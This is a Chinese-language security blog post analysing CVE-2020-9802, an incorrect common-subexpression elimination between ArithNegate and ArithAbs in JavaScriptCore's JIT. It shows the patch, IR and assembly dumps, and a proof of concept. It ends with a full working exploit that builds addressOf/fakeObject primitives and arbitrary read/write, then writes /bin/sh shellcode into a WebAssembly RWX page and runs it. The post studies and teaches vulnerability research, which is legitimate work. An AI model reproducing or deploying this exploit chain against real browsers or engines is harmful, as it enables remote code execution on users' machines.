-
-
[原创] CVE-2020-9802:Incorrect CSE for ArithNegate, leading to OOB accesses
-
发表于: 2024-4-17 13:25 7991
-
[原创] CVE-2020-9802:Incorrect CSE for ArithNegate, leading to OOB accesses
@
最近尝试阅读 DFG jit
相关源码,但是无从下手,网上资料甚少并且代码量巨大,所以笔者对应 JSC
的学习路线还是从相关 CVE
中去学习一些有关 JSC
的基础知识,这里逐渐积累,等到合适的时候,再去尝试阅读源码,该漏洞比较老了,但是复现漏洞不是目的,重要的是学习一些知识
复现这个漏洞主要是学习下 CSE
优化这个知识点,其实挺简单的。CSE
即公共子表达式消除,其主要的操作就是将多个相同的表达式替换成一个变量,这个变量存储着计算该表达式后所得到的值,考虑如下代码:
上述代码可能会被优化成如下代码:
这样就避免了 b * c
表达式的重复运算,但是并非所有情况下都可以进行 CSE
优化,考虑如下代码:
这里我们就不可以将其优化为如下代码:
理由很简单,f()
存在 side effect
,即 obj
对象可能在 f()
中被修改,比如如下代码:
如果这里将其优化,则导致 a = b = 1
从而出现错误,那么 JIT
编译器是如果判断公共子表达式是否可以进行消除呢?对于 JSC
而言,其会在 DFG
阶段收集相关信息,然后在 FTL
阶段利用收集的信息判断是否进行 CSE
优化,收集信息阶段主要在 DFGClobberize
函数中进行,这个我们后面再看。
手动引入 patch
然后编译即可:
可以看到上述补丁主要打在了 clobberize
函数中,通过前面的铺垫,可以知道这里应该就是 DFG
收集相关信息时出现错误,从而导致在 FTL
阶段发生错误的优化,定位到源码:
这里代码很长,所以只需要定位关键代码即可
这里可以看到 patch
代码仅仅给 PureValue
函数添加了一个参数 node->arithMode()
,这里根据 p0
的文章可以知道:
The def() of the PureValue here expresses that the computation does not rely on any context and thus that it will always yield the same result when given the same inputs. However, note that the PureValue is parameterized by the ArithMode of the operation, which specifies whether the operation should handle (e.g. by bailing out to the interpreter) integer overflows or not. The parameterization in this case prevents two ArithMul operations with different handling of integer overflows from being substituted for each other. An operation that handles overflows is also commonly referred to as a “checked” operation, and an “unchecked” operation is one that does not detect or handle overflows.
加上 node->arithMode()
表示说具体不同整数溢出处理方式的操作不能替换,然后操作根据是否检查溢出分为 checked operation
和 unchecked operation
所以这里的漏洞就比较明显了,def(PureValue(node));
表示能否进行替换只与输入的值有关,对于 ArithNegate
而言,其是 unchecked operation
,当 value = TYPE_MIN
时会发生溢出,即 -TYPE_MIN = TYPE_MIN
;对于 ArithAbs
而言,其是 checked operation
,当 value = TYPE_MIN
时,其会进行符合扩展去处理溢出情况,所以 abs(TYPE_MIN) = |TYPE_MIN|
;而 ArithNegate
与 ArithAbs
操作是可以产生相同的效果的,比如 -(-1) = abs(-1)
,所以对于如下代码是可以进行优化的:
上面优化看似不存在问题,但是当发生溢出时就会出现问题,比如如下代码:
可以看到这里优化 CSE
优化导致 b
的值发生错误,其本来应该为 |TYPE_MIN|
,但是编译器却认为其为 TYPE_MIN
,其实这就是这个漏洞的全部原理了poc
如下:
可以看到这里输出的 b = -2147483648 = -0x80000000
,来简单看看字节码
首先看看 f
产生的字节码:
[11] negate
表示的就是 -n
,[41] call
表示的就是 Math.abs(n)
,来看下在 DFG
后的字节码
可以看到 [11] negate
被展开为如下 IR
:[41] call
被展开为如下 IR
:
即:
可以看到 ArithNegate
是 unchecked
的,而 ArithAbs
是 CheckOverflow
的,即 ArithNegate
与 ArithAbs
具有不同的溢出处理机制
接下来看看 FTL
阶段:
即:
可以看到这里 ArithAbs
被优化掉了,即编译器认为 ArithNegate
与 ArithAbs
在操作数是负数时是等效的,但是上面说了这两个操作对于溢出的处理情况是不同的,所以这两个操作并不是完全等效的
接下来就该考虑如何去进行利用了,总结一下上面漏洞的效果:
后面的利用有点类似于 V8
中消除 CheckBounds
节点,即利用编译器检查时与运行时不一致漏洞去消除边界检查,考虑如下代码:
可以看到这里 【1】
处首先保证了 n < arr.length
,【2】
处为减二,所以 n < arr.length-2 < arr.length
,【3】
处保证了 n >= 0
,所以编译器最后会推断 arr[n]
中的 n
的范围在 [0, arr.length)
之间,所以其肯定不会发生越界,所以其会进行消除边界检查优化
来看下 trigger
函数的字节码:
这里主要关注 get_by_val
字节码,来看看 DFG
阶段:
这里我们主要关注下 GetButterfly
和 GetByVal
:
从汇编代码可以看到在 DFG
阶段并没有消除数组的边界检查,其还是会检查 n
是否越界,所以我们再来看下 FTL
阶段:
这里的 GetByVal
节点与 DFG
阶段的似乎没啥不同,所以还是得看汇编代码,但是这里 json
似乎没有 FTL
阶段的汇编代码,所以只能动态调试了,这里调试可以知道:
rcx = butterfly; rax = n
,所以这里是直接进行读取 butterfly[n]
,并没有对 n
进行检查,因为编译器推断此时 n
是在数组范围内的
那么回到原漏洞利用中,我们该如何利用漏洞去消除边界检查呢?其实关键就是编译器推断时与实际运行时的值不相同,考虑如下 poc
:
poc
的原理我注释已经写的很清楚了,就不多说了,最后输出如下:
可以看到这里成功完成越界读,越界写简单修改下代码为 arr[b] = val
即可,poc
的一些构造细节可以参考 p0
的文章,其 poc
写的更加好,解析的也很详细
有了越界地址读写后面其实就比较简单,我们可以利用该漏洞越界写修改相邻数组的 butterfly
的 “容量和长度”,这样就有了一个越界数组,后面就是构造 addressOf/fakeObject
原语,然后套模板就行了,就不多说了
exploit
如下:
效果如下:
通过复现该漏洞,笔者对 CSE
优化有了一个大致的了解,并且对一些优化的细节有了更加深刻的理解。然后比较重要的是学到了在 JSC
中如何消除边界检查从而完成越界读写
然后在参考文章中,作者写了他是如何发现这个漏洞的,这个漏洞并不是 fuzz
出来的,作者也说明了该类漏洞 fuzz
的困难性,而作者发现这个漏洞的原因是因为作者在审计代码时发现有的操作没有设置 arithMode
,而有的操作却设置了 arithMode
,所以作者就想为什么有的操作需要设置 arithMode
,而有的操作却不需要设置 arithMode
,于是作者就搜索相关没有设置 arithMode
的操作,从而发现了该漏洞
从作者发现该漏洞的历程中,也让我反思自己,自己在看代码时完全没有思考过为什么,其实还是自己不善于思考,这也许就是我与大佬的差距吧......
https://googleprojectzero.blogspot.com/2020/09/jitsploitation-one.html
let a = b * c + g;
let d = b * c + e;
let a = b * c + g;
let d = b * c + e;
let temp = b * c;
let a = temp + g;
let d = temp + e;
let temp = b * c;
let a = temp + g;
let d = temp + e;
let a = obj.x
f();
// <===== side effect
let b = obj.x
let a = obj.x
f();
// <===== side effect
let b = obj.x
let temp = obj.x;
let a = temp;
f();
// <===== side effect
let b = temp;
let temp = obj.x;
let a = temp;
f();
// <===== side effect
let b = temp;
function
f() {
obj.x = 2;
}
let obj = {x:1};
let a = obj.x;
// a = 1
f();
// <====== change obj.x
let b = obj.x;
// a = 2
function
f() {
obj.x = 2;
}
let obj = {x:1};
let a = obj.x;
// a = 1
f();
// <====== change obj.x
let b = obj.x;
// a = 2
diff
--git a
/Source/JavaScriptCore/dfg/DFGClobberize
.h b
/Source/JavaScriptCore/dfg/DFGClobberize
.h
index b2318fe03aed41e0309587e7df90769cb04e3c49..5b34ec5bd8524c03b39a1b33ba2b2f64b3f563e1 100644 (
file
)
--- a
/Source/JavaScriptCore/dfg/DFGClobberize
.h
+++ b
/Source/JavaScriptCore/dfg/DFGClobberize
.h
@@ -228,7 +228,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor&
read
, const WriteFu
case
ArithAbs:
if
(node->child1().useKind() == Int32Use || node->child1().useKind() == DoubleRepUse)
- def(PureValue(node));
+ def(PureValue(node, node->arithMode()));
else
{
read
(World);
write(Heap);
@@ -248,7 +248,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor&
read
, const WriteFu
if
(node->child1().useKind() == Int32Use
|| node->child1().useKind() == DoubleRepUse
|| node->child1().useKind() == Int52RepUse)
- def(PureValue(node));
+ def(PureValue(node, node->arithMode()));
else
{
read
(World);
write(Heap);
diff
--git a
/Source/JavaScriptCore/dfg/DFGClobberize
.h b
/Source/JavaScriptCore/dfg/DFGClobberize
.h
index b2318fe03aed41e0309587e7df90769cb04e3c49..5b34ec5bd8524c03b39a1b33ba2b2f64b3f563e1 100644 (
file
)
--- a
/Source/JavaScriptCore/dfg/DFGClobberize
.h
+++ b
/Source/JavaScriptCore/dfg/DFGClobberize
.h
@@ -228,7 +228,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor&
read
, const WriteFu
case
ArithAbs:
if
(node->child1().useKind() == Int32Use || node->child1().useKind() == DoubleRepUse)
- def(PureValue(node));
+ def(PureValue(node, node->arithMode()));
else
{
read
(World);
write(Heap);
@@ -248,7 +248,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor&
read
, const WriteFu
if
(node->child1().useKind() == Int32Use
|| node->child1().useKind() == DoubleRepUse
|| node->child1().useKind() == Int52RepUse)
- def(PureValue(node));
+ def(PureValue(node, node->arithMode()));
else
{
read
(World);
write(Heap);
template
<
typename
ReadFunctor,
typename
WriteFunctor,
typename
DefFunctor,
typename
ClobberTopFunctor>
void
clobberize(Graph& graph, Node* node,
const
ReadFunctor& read,
const
WriteFunctor& write,
const
DefFunctor& def,
const
ClobberTopFunctor& clobberTopFunctor)
{
......
case
ArithAbs:
if
(node->child1().useKind() == Int32Use || node->child1().useKind() == DoubleRepUse)
def(PureValue(node));
//def(PureValue(node, node->arithMode()));
else
clobberTop();
return
;
......
case
ArithNegate:
if
(node->child1().useKind() == Int32Use
|| node->child1().useKind() == DoubleRepUse
|| node->child1().useKind() == Int52RepUse)
def(PureValue(node));
//def(PureValue(node, node->arithMode()));
else
clobberTop();
return
;
......
template
<
typename
ReadFunctor,
typename
WriteFunctor,
typename
DefFunctor,
typename
ClobberTopFunctor>
void
clobberize(Graph& graph, Node* node,
const
ReadFunctor& read,
const
WriteFunctor& write,
const
DefFunctor& def,
const
ClobberTopFunctor& clobberTopFunctor)
{
......
case
ArithAbs:
if
(node->child1().useKind() == Int32Use || node->child1().useKind() == DoubleRepUse)
def(PureValue(node));
//def(PureValue(node, node->arithMode()));
else
clobberTop();
return
;
......
case
ArithNegate:
if
(node->child1().useKind() == Int32Use
|| node->child1().useKind() == DoubleRepUse
|| node->child1().useKind() == Int52RepUse)
def(PureValue(node));
//def(PureValue(node, node->arithMode()));
else
clobberTop();
return
;
......
let a = -(-1) = 1;
let b = abs(-1) = 1;
==>
let a = -(-1) = 1;
let b = a = 1;
let a = -(-1) = 1;
let b = abs(-1) = 1;
==>
let a = -(-1) = 1;
let b = a = 1;
let a = -TYPE_MIN = TYPE_MIN;
let b = abs(TYPE_MIN) = |TYPE_MIN|;
==>
let a = -TYPE_MIN = TYPE_MIN;
let b = a = TYPE_MIN
let a = -TYPE_MIN = TYPE_MIN;
let b = abs(TYPE_MIN) = |TYPE_MIN|;
==>
let a = -TYPE_MIN = TYPE_MIN;
let b = a = TYPE_MIN
function
f(n) {
if
(n < 0) {
let a = -n;
let b = Math.abs(n);
return
b;
}
return
0;
}
for
(let i = 0; i < 0xd0000; i++) {
f(-2);
}
print(f(-0x80000000));
// output: -2147483648
function
f(n) {
if
(n < 0) {
let a = -n;
let b = Math.abs(n);
return
b;
}
return
0;
}
for
(let i = 0; i < 0xd0000; i++) {
f(-2);
}
print(f(-0x80000000));
// output: -2147483648
[ 0] enter
[ 1] jnless lhs:arg1, rhs:Int32: 0(const0), targetLabel:49(->50)
[ 5] mov
[ 8] mov
[ 11] negate dst:loc5, operand:arg1, profileIndex:0, resultType:126
[ 16] resolve_scope
[ 23] get_from_scope
[ 32] get_by_id
[ 38] mov
[ 41] call dst:loc6, callee:loc7, argc:2, argv:16, valueProfile:3
[ 48] ret
[ 50] ret value:Int32: 0(const0)
[ 0] enter
[ 1] jnless lhs:arg1, rhs:Int32: 0(const0), targetLabel:49(->50)
[ 5] mov
[ 8] mov
[ 11] negate dst:loc5, operand:arg1, profileIndex:0, resultType:126
[ 16] resolve_scope
[ 23] get_from_scope
[ 32] get_by_id
[ 38] mov
[ 41] call dst:loc6, callee:loc7, argc:2, argv:16, valueProfile:3
[ 48] ret
[ 50] ret value:Int32: 0(const0)
[11] negate
CountExecution
GetLocal
ArithNegate(Int32:Kill:D@63, Int32|PureInt, Int32, Unchecked,
bc
#11, ExitValid)
MovHint
[41] call
CountExecution
FilterCallLinkStatus
ArithAbs(Int32:D@33, Int32|PureNum|NeedsNegZero|NeedsNaNOrInfinity|UseAsOther, Int32, CheckOverflow, Exits,
bc
#41, ExitValid)
Phantom
Phantom
MovHint
[11] negate
CountExecution
GetLocal
ArithNegate(Int32:Kill:D@63, Int32|PureInt, Int32, Unchecked,
bc
#11, ExitValid)
MovHint
[41] call
CountExecution
FilterCallLinkStatus
ArithAbs(Int32:D@33, Int32|PureNum|NeedsNegZero|NeedsNaNOrInfinity|UseAsOther, Int32, CheckOverflow, Exits,
bc
#41, ExitValid)
Phantom
Phantom
MovHint
[11] negate
CountExecution
ArithNegate(Int32:Kill:D@63, Int32|PureInt, Int32, Unchecked,
bc
#11, ExitValid)
KillStack
ZombieHint
[41] call
CountExecution
FilterCallLinkStatus
KillStack
MovHint
[11] negate
CountExecution
ArithNegate(Int32:Kill:D@63, Int32|PureInt, Int32, Unchecked,
bc
#11, ExitValid)
KillStack
ZombieHint
[41] call
CountExecution
FilterCallLinkStatus
KillStack
MovHint
function
trigger(arr, n) {
if
(n < arr.length) {
// 【1】
if
(n & 3) {
n += -2;
// 【2】
}
if
(n >= 0) {
// 【3】
return
arr[n];
}
}
}
var
arr = [1.1, 2.2, 3.3, 4.4];
for
(let i = 0; i < 0xd0000; i++) {
trigger(arr, 2);
}
trigger(arr, 3);
function
trigger(arr, n) {
if
(n < arr.length) {
// 【1】
if
(n & 3) {
n += -2;
// 【2】
}
if
(n >= 0) {
// 【3】
return
arr[n];
}
}
}
var
arr = [1.1, 2.2, 3.3, 4.4];
for
(let i = 0; i < 0xd0000; i++) {
trigger(arr, 2);
}
trigger(arr, 3);
[ 0] enter
[ 1] get_by_id dst:loc5, base:arg1, property:0, valueProfile:1
[ 7] jnless lhs:arg2, rhs:loc5, targetLabel:31(->38)
[ 11] bitand dst:loc5, lhs:arg2, rhs:Int32: 3(const0), profileIndex:0, operandTypes:OperandTypes(126, 3)
[ 17] jfalse condition:loc5, targetLabel:9(->26)
[ 20] add dst:arg2, lhs:arg2, rhs:Int32: -2(const1), profileIndex:1, operandTypes:OperandTypes(126, 3)
[ 26] jngreatereq lhs:arg2, rhs:Int32: 0(const2), targetLabel:12(->38)
[ 30] get_by_val dst:loc5, base:arg1, property:arg2, valueProfile:2
[ 36] ret value:loc5
[ 38] ret value:Undefined(const3)
[ 0] enter
[ 1] get_by_id dst:loc5, base:arg1, property:0, valueProfile:1
[ 7] jnless lhs:arg2, rhs:loc5, targetLabel:31(->38)
[ 11] bitand dst:loc5, lhs:arg2, rhs:Int32: 3(const0), profileIndex:0, operandTypes:OperandTypes(126, 3)
[ 17] jfalse condition:loc5, targetLabel:9(->26)
[ 20] add dst:arg2, lhs:arg2, rhs:Int32: -2(const1), profileIndex:1, operandTypes:OperandTypes(126, 3)
[ 26] jngreatereq lhs:arg2, rhs:Int32: 0(const2), targetLabel:12(->38)
[ 30] get_by_val dst:loc5, base:arg1, property:arg2, valueProfile:2
[ 36] ret value:loc5
[ 38] ret value:Undefined(const3)
[ 30] get_by_val dst:loc5, base:arg1, property:arg2, valueProfile:2
CountExecution
GetLocal
GetLocal
GetButterfly
GetByVal
MovHint
ValueRep
[ 30] get_by_val dst:loc5, base:arg1, property:arg2, valueProfile:2
CountExecution
GetLocal
GetLocal
GetButterfly
GetByVal
MovHint
ValueRep
GetButterfly(Cell:D@52, Storage|PureInt, R:JSObject_butterfly,
bc
#30, ExitValid)
0x7f4ab176c111: movq 0x8(%rax), %rdx <=== rax = obj_arr; rdx = butterfly
GetByVal(KnownCell:D@52, Int32:D@53, Check:Untyped:D@86, Double|MustGen|VarArgs|PureNum|NeedsNegZero|NeedsNaNOrInfinity|UseAsOther, AnyIntAsDouble|NonIntAsDouble, Double+OriginalCopyOnWriteArray+InBounds+AsIs+Read, R:Butterfly_publicLength,IndexedDoubleProperties, Exits,
bc
#30, ExitValid) predicting NonIntAsDouble
0x7f4ab176c115: cmpl -0x8(%rdx), %esi <=== -0x8(%rdx) = arr_len; esi = n
0x7f4ab176c118: jnb 0x7f4ab176c303
0x7f4ab176c11e: vmovsdq (%rdx,%rsi,8), %xmm0
0x7f4ab176c123: vucomisd %xmm0, %xmm0
0x7f4ab176c127: jp 0x7f4ab176c319
GetButterfly(Cell:D@52, Storage|PureInt, R:JSObject_butterfly,
bc
#30, ExitValid)
0x7f4ab176c111: movq 0x8(%rax), %rdx <=== rax = obj_arr; rdx = butterfly
GetByVal(KnownCell:D@52, Int32:D@53, Check:Untyped:D@86, Double|MustGen|VarArgs|PureNum|NeedsNegZero|NeedsNaNOrInfinity|UseAsOther, AnyIntAsDouble|NonIntAsDouble, Double+OriginalCopyOnWriteArray+InBounds+AsIs+Read, R:Butterfly_publicLength,IndexedDoubleProperties, Exits,
bc
#30, ExitValid) predicting NonIntAsDouble
0x7f4ab176c115: cmpl -0x8(%rdx), %esi <=== -0x8(%rdx) = arr_len; esi = n
0x7f4ab176c118: jnb 0x7f4ab176c303
0x7f4ab176c11e: vmovsdq (%rdx,%rsi,8), %xmm0
0x7f4ab176c123: vucomisd %xmm0, %xmm0
0x7f4ab176c127: jp 0x7f4ab176c319
GetByVal(KnownCell:Kill:D@14, Int32:Kill:D@10, Check:Untyped:Kill:D@66, Check:Untyped:D@10, Double|MustGen|VarArgs|PureNum|NeedsNegZero|NeedsNaNOrInfinity|UseAsOther, AnyIntAsDouble|NonIntAsDouble, Double+OriginalCopyOnWriteArray+InBounds+AsIs+Read, R:Butterfly_publicLength,IndexedDoubleProperties, Exits,
bc
#30, ExitValid) predicting NonIntAsDouble
GetByVal(KnownCell:Kill:D@14, Int32:Kill:D@10, Check:Untyped:Kill:D@66, Check:Untyped:D@10, Double|MustGen|VarArgs|PureNum|NeedsNegZero|NeedsNaNOrInfinity|UseAsOther, AnyIntAsDouble|NonIntAsDouble, Double+OriginalCopyOnWriteArray+InBounds+AsIs+Read, R:Butterfly_publicLength,IndexedDoubleProperties, Exits,
bc
#30, ExitValid) predicting NonIntAsDouble
0x7fffa93e8089
mov edx, eax
0x7fffa93e808b
vmovsd xmm0, QWORD PTR [rcx
+
rdx
*
8
]
→
0x7fffa93e8090
vucomisd xmm0, xmm0
0x7fffa93e8094
jp
0x7fffa93e814d
0x7fffa93e809a
vmovq rax, xmm0
0x7fffa93e8089
mov edx, eax
0x7fffa93e808b
vmovsd xmm0, QWORD PTR [rcx
+
rdx
*
8
]
→
0x7fffa93e8090
vucomisd xmm0, xmm0
0x7fffa93e8094
jp
0x7fffa93e814d
0x7fffa93e809a
vmovq rax, xmm0
function
trigger(arr, n) {
if
(n < 0) {
// 排除大于 0 的情况,因为 -n 与 Math.abs(n) 只在 n < 0 时才可以相互替换
let a = -n;
let b = Math.abs(n);
// 推断时 b = 0x80000000, 运行时 b = -0x80000000
if
(b < arr.length) {
// 确保 n < arr.length, 所以在推断时 b = 0x80000000 > arr.length,
// 编译器认为其不会进入以下分支
// 但是在实际运行时,b = -0x80000000 < arr.length
//所以其实会进入该分支
if
(b & 0x80000000) {
// 对于 0x80000000 单独处理,将其转换为一个任意的数
b += -0x7ffffffb;
}
if
(b >= 0) {
// 确保 b >= 0
// 走到这里,编译器会认为 b 的范围在 [0, arr.length) 之间
// 所以会消除边界检查
return
arr[b];
}
}
}
}
var
noCOW = 13.37;
var
arr = [noCOW, 1.1, 2.2, 3.3];
var
tmp = [noCOW, 1.1, 2.2, 3.3];
for
(let i = 0; i < 0x100000; i++) {
trigger(arr, -2);
}
print(trigger(arr, -0x80000000));
function
trigger(arr, n) {
if
(n < 0) {
// 排除大于 0 的情况,因为 -n 与 Math.abs(n) 只在 n < 0 时才可以相互替换
let a = -n;
let b = Math.abs(n);
// 推断时 b = 0x80000000, 运行时 b = -0x80000000
if
(b < arr.length) {
// 确保 n < arr.length, 所以在推断时 b = 0x80000000 > arr.length,
// 编译器认为其不会进入以下分支
// 但是在实际运行时,b = -0x80000000 < arr.length
//所以其实会进入该分支
if
(b & 0x80000000) {
// 对于 0x80000000 单独处理,将其转换为一个任意的数
b += -0x7ffffffb;
}
if
(b >= 0) {
// 确保 b >= 0
// 走到这里,编译器会认为 b 的范围在 [0, arr.length) 之间
// 所以会消除边界检查
return
arr[b];
}
}
}
}
var
noCOW = 13.37;
var
arr = [noCOW, 1.1, 2.2, 3.3];
var
tmp = [noCOW, 1.1, 2.2, 3.3];
for
(let i = 0; i < 0x100000; i++) {
trigger(arr, -2);
}
print(trigger(arr, -0x80000000));
var
buf =
new
ArrayBuffer(8);
var
dv =
new
DataView(buf);
var
u8 =
new
Uint8Array(buf);
var
u32 =
new
Uint32Array(buf);
var
u64 =
new
BigUint64Array(buf);
var
f32 =
new
Float32Array(buf);
var
f64 =
new
Float64Array(buf);
function
pair_u32_to_f64(l, h) {
u32[0] = l;
u32[1] = h;
return
f64[0];
}
function
u64_to_f64(val) {
u64[0] = val;
return
f64[0];
}
function
f64_to_u64(val) {
f64[0] = val;
return
u64[0];
}
function
set_u64(val) {
u64[0] = val;
}
function
set_l(l) {
u32[0] = l;
}
function
set_h(h) {
u32[1] = h;
}
function
get_l() {
return
u32[0];
}
function
get_h() {
return
u32[1];
}
function
get_u64() {
return
u64[0];
}
function
get_f64() {
return
f64[0];
}
function
get_fl(val) {
f64[0] = val;
return
u32[0];
}
function
get_fh(val) {
f64[0] = val;
return
u32[1];
}
function
hexx(str, val) {
print(str+
": 0x"
+val.toString(16));
}
function
sleep(ms) {
return
new
Promise((resolve) => setTimeout(resolve, ms));
}
function
trigger(arr, n) {
if
(n < 0) {
let a = -n;
let b = Math.abs(n);
if
(b < arr.length) {
if
(b & 0x80000000) {
b += -0x7ffffff7;
}
if
(b >= 0) {
arr[b] = 1.04380972981885e-310;
}
}
}
}
var
noCOW = 13.37
var
arr = [noCOW, 1.1, 2.2, 3.3];
var
oob_array = [noCOW, 1.1, 2.2, 3.3];
var
victim_array = [noCOW, 1.1, 2.2, 3.3];
arr.prop = {};
arr.brop = {};
oob_array.prop = {};
oob_array.brop = {};
victim_array.prop = {};
victim_array.brop = {};
for
(let i = 0; i < 0xd0000; i++) {
trigger(arr, -2);
}
trigger(arr, -0x80000000);
hexx(
"oob_array.length"
, oob_array.length);
function
addressOf(obj) {
victim_array.prop = obj;
return
f64_to_u64(oob_array[8]);
}
function
fakeObject(addr) {
oob_array[8] = u64_to_f64(addr);
return
victim_array.prop;
}
//hexx("arr_addr", addressOf(arr));
function
leakStructureID(obj) {
let container = {
jscell: u64_to_f64(0x0108230700000000n-0x2000000000000n),
butterfly: obj
};
let fake_object_addr = addressOf(container) + 0x10n;
let fake_object = fakeObject(fake_object_addr);
let num = f64_to_u64(fake_object[0]);
let structureID = num & 0xffffffffn;
container.jscell = f64[0];
return
structureID;
}
var
noCOW = 1.1;
var
arrs = [];
for
(let i = 0; i < 100; i++) {
arrs.push([noCOW]);
}
var
ID = [noCOW];
//debug(describe(ID));
var
structureID = leakStructureID(ID);
hexx(
"structureID"
, structureID);
var
victim = [noCOW, 1.1, 2.2];
victim[
'prop'
] = 3.3;
victim[
'brob'
] = 4.4;
var
container = {
jscell: u64_to_f64(structureID+0x0108230900000000n-0x2000000000000n),
butterfly: victim
};
var
container_addr = addressOf(container);
var
driver_addr = container_addr + 0x10n;
var
driver = fakeObject(driver_addr);
//debug(describe(victim));
//debug(describe(driver));
var
unboxed = [noCOW, 1.1, 2.2];
var
boxed = [{}];
driver[1] = unboxed;
var
sharedButterfly = victim[1];
hexx(
"sharedButterfly"
, f64_to_u64(sharedButterfly));
//debug(describe(unboxed));
driver[1] = boxed;
victim[1] = sharedButterfly;
function
new_addressOf(obj) {
boxed[0] = obj;
return
f64_to_u64(unboxed[0]);
}
function
new_fakeObject(addr) {
unboxed[0] = u64_to_f64(addr);
return
boxed[0];
}
function
read64(addr) {
driver[1] = new_fakeObject(addr + 0x10n);
return
new_addressOf(victim.prop);
}
function
write64(addr, val) {
driver[1] = new_fakeObject(addr + 0x10n);
victim.prop = u64_to_f64(val);;
}
function
ByteToDwordArray(payload) {
let sc = [];
let tmp = [];
let len = Math.ceil(payload.length / 6);
for
(let i = 0; i < len; i += 1) {
tmp = 0n;
pow = 1n;
for
(let j = 0; j < 6; j++){
let c = payload[i*6+j]
if
(c === undefined) {
c = 0n;
}
pow = j==0 ? 1n : 256n * pow;
tmp += c * pow;
}
tmp += 0xc000000000000n;
sc.push(tmp);
}
return
sc;
}
function
arb_write(addr, payload) {
let sc = ByteToDwordArray(payload);
for
(let i = 0; i < sc.length; i++) {
write64(addr, sc[i]);
addr += 6n;
}
}
var
wasm_code =
new
Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
128,0,1,96,0,1,127,3,130,128,128,128,
0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);
var
wasm_module =
new
WebAssembly.Module(wasm_code);
var
wasm_instance =
new
WebAssembly.Instance(wasm_module);
var
pwn = wasm_instance.exports.main;
var
pwn_addr = new_addressOf(pwn);
var
rwx_ptr = read64(pwn_addr+0x30n);
var
rwx_addr = read64(rwx_ptr);
hexx(
"rwx_addr"
, rwx_addr);
var
shellcode =[90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n,
90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n,
90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n,
90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n,
90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n,
90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n, 90n,
106n, 104n, 72n, 184n, 47n, 98n, 105n, 110n, 47n, 47n, 47n, 115n,
80n, 72n, 137n, 231n, 104n, 114n, 105n, 1n, 1n, 129n, 52n, 36n, 1n,
1n, 1n, 1n, 49n, 246n, 86n, 106n, 8n, 94n, 72n, 1n, 230n,86n, 72n,
137n, 230n, 49n, 210n, 106n, 59n, 88n, 15n, 5n];
arb_write(rwx_addr, shellcode);
pwn();
var
buf =
new
ArrayBuffer(8);
var
dv =
new
DataView(buf);
var
u8 =
new
Uint8Array(buf);
var
u32 =
new
Uint32Array(buf);
var
u64 =
new
BigUint64Array(buf);
var
f32 =
new
Float32Array(buf);
var
f64 =
new
Float64Array(buf);
function
pair_u32_to_f64(l, h) {
u32[0] = l;
u32[1] = h;
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!